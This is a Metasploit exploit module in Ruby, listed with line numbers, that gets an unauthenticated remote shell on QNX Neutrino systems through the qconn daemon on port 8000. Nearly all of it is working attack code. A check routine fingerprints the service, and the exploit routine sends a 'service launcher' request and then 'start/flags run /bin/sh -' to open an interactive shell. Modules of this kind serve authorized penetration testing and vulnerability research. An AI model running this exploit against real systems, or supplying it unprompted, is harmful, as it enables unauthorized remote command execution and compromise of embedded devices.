Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  prepend Msf::Exploit::Remote::AutoCheck
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'QNX qconn Command Execution',
17
        'Description' => %q{
18
          This module uses the qconn daemon on QNX systems to gain a shell.
19

20
          The QNX qconn daemon does not require authentication and allows
21
          remote users to execute arbitrary operating system commands.
22

23
          This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
24
          and 6.5.0 SP1 (x86).
25
        },
26
        'License' => MSF_LICENSE,
27
        'Author' => [
28
          'David Odell', # Discovery
29
          'Mor!p3r', # PoC
30
          'bcoles' # Metasploit
31
        ],
32
        'References' => [
33
          ['EDB', '21520'],
34
          ['URL', 'https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos'],
35
          ['URL', 'http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html'],
36
          ['URL', 'http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html']
37
        ],
38
        'Payload' => {
39
          'BadChars' => '',
40
          'DisableNops' => true,
41
          'Compat' => {
42
            'PayloadType' => 'cmd_interact',
43
            'ConnectionType' => 'find'
44
          }
45
        },
46
        'DefaultOptions' => {
47
          'WfsDelay' => 10,
48
          'PAYLOAD' => 'cmd/unix/interact'
49
        },
50
        'Platform' => 'unix', # QNX Neutrino
51
        'Arch' => ARCH_CMD,
52
        'Targets' => [['Automatic', {}]],
53
        'Privileged' => false,
54
        'DisclosureDate' => '2012-09-04',
55
        'DefaultTarget' => 0,
56
        'Notes' => {
57
          'Stability' => [CRASH_SAFE],
58
          'Reliability' => [REPEATABLE_SESSION],
59
          'SideEffects' => []
60
        }
61
      )
62
    )
63
    register_options(
64
      [
65
        Opt::RPORT(8000),
66
        OptString.new('SHELL', [true, 'Path to system shell', '/bin/sh'])
67
      ]
68
    )
69
  end
70

71
  def check
72
    vprint_status('Sending check...')
73

74
    connect
75
    res = sock.get_once(-1, 10)
76

77
    return CheckCode::Unknown('Connection failed') unless res
78

79
    return CheckCode::Safe unless res.include?('QCONN')
80

81
    sock.put("service launcher\n")
82
    res = sock.get_once(-1, 10)
83

84
    return CheckCode::Safe unless res.to_s.include?('OK')
85

86
    fingerprint = Rex::Text.rand_text_alphanumeric(5..10)
87
    sock.put("start/flags run /bin/echo /bin/echo #{fingerprint}\n")
88

89
    return CheckCode::Safe unless res.to_s.include?('OK')
90

91
    Rex.sleep(1)
92

93
    res = sock.get_once(-1, 10)
94

95
    return CheckCode::Safe unless res.to_s.include?(fingerprint)
96

97
    disconnect
98

99
    CheckCode::Vulnerable
100
  end
101

102
  def exploit
103
    connect
104
    res = sock.get_once(-1, 10)
105

106
    fail_with(Failure::Unreachable, 'Connection failed') unless res
107

108
    fail_with(Failure::UnexpectedReply, 'Unexpected reply') unless res.include?('QCONN')
109

110
    sock.put("service launcher\n")
111
    res = sock.get_once(-1, 10)
112

113
    fail_with(Failure::UnexpectedReply, 'Unexpected reply') unless res.to_s.include?('OK')
114

115
    print_status('Sending payload...')
116
    sock.put("start/flags run #{datastore['SHELL']} -\n")
117

118
    Rex.sleep(1)
119

120
    fail_with(Failure::UnexpectedReply, 'Shell negotiation failed. Unexpected reply.') unless negotiate_shell(sock)
121

122
    print_good('Payload sent successfully')
123

124
    handler
125
  end
126

127
  def negotiate_shell(sock)
128
    Timeout.timeout(15) do
129
      loop do
130
        data = sock.get_once(-1, 10)
131

132
        return if data.blank?
133

134
        if data.include?('#') || data.include?('No controlling tty')
135
          return true
136
        end
137

138
        Rex.sleep(0.5)
139
      end
140
    end
141
  rescue ::Timeout::Error
142
    return nil
143
  end
144
end
145

146